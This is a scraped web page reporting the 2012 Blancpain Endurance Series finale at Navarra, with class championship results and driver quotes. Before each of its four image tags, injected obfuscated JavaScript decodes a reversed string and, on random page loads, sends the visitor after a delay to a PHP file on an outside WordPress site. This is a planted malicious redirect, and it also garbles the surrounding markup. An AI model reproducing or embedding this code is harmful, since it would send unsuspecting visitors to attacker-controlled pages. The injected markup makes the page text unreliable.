$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Blancpain_Endurance_Series_Navarra_042.jpg” alt=”” width=”728″ height=”485″ />
In the PRO-AM class Niek Hommerson (NLD) and Louis Machiels (BEL) won the drivers’ championship with a total of 76 points. The duo was teamed with Alessandro PierGuidi for the final round, and had a three-point lead from the Italian combination of Eugenio Amos, Alessandro Bonacini and Giacomo Petrobelli in the No.57 Vita4one Team Italy Ferrari. Their race ended disappointingly with retirement due to suspension damage.
The PRO-AM team fight also had a narrow points margin with the AF Corse Ferrari team winning by a slim four points. Second, also running a brace of Ferraris was SOFREV ASP with 90 points. Third, with 67 points was the disappointed Italian Vita4one team.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Blancpain_Endurance_Series_Navarra_002.jpg” alt=”” width=”728″ height=”484″ />
In today’s race the ART Grand Prix McLaren MP4-12C of Grégoire Demoustier (FRA) and Duncan Tappy (GBR) was victorious in the PRO-AM class, with an impressive win despite a spin in the wet conditions. Tappy’s spectacular stint, including several inspired overtaking manoeuvres, helped their route to victory. “It was a really entertaining race for me. I couldn’t relax!” Tappy said. “I had Audis coming from all sorts of directions. I actually had contact in one of the corners, which we were both lucky to escape from. Once I got them out of the way I managed to do a great overtaking manoeuvre on the Boutsen-Ginion Racing McLaren. Then it started to rain,” he concluded.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Blancpain_Endurance_Series_Navarra_018.jpg” alt=”” width=”728″ height=”485″ />
Following today’s dramatic race, the Gentlemen Trophy class produced an interesting finalé to the teams’ championship. The French Sainteloc Racing Team only had to finish the race to win the championship with its Audi R8. With less than an hour to go, in treacherous conditions, Philippe Giauque spun and hit the No.9 Gulf Racing UK McLaren damaging the front section of the car. With minutes to go, the Sainteloc team repaired the car and finished champions.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Blancpain_Endurance_Series_Navarra_031.jpg” alt=”” width=”728″ height=”485″ />
The Gentlemen Trophy drivers’ championship title also went to the Sainteloc Racing drivers Robert Hissom (USA) and Pierre Hirschi (CHE), who after their second-in-class finish at Navarra gave them a total of 94 points.
Hissom expressed his championship winning thoughts: “This is the first championship I’ve ever won and it feels amazing. I have to thank the drivers, thank Sainteloc and the other teams, the competition in this series was simply fantastic.”
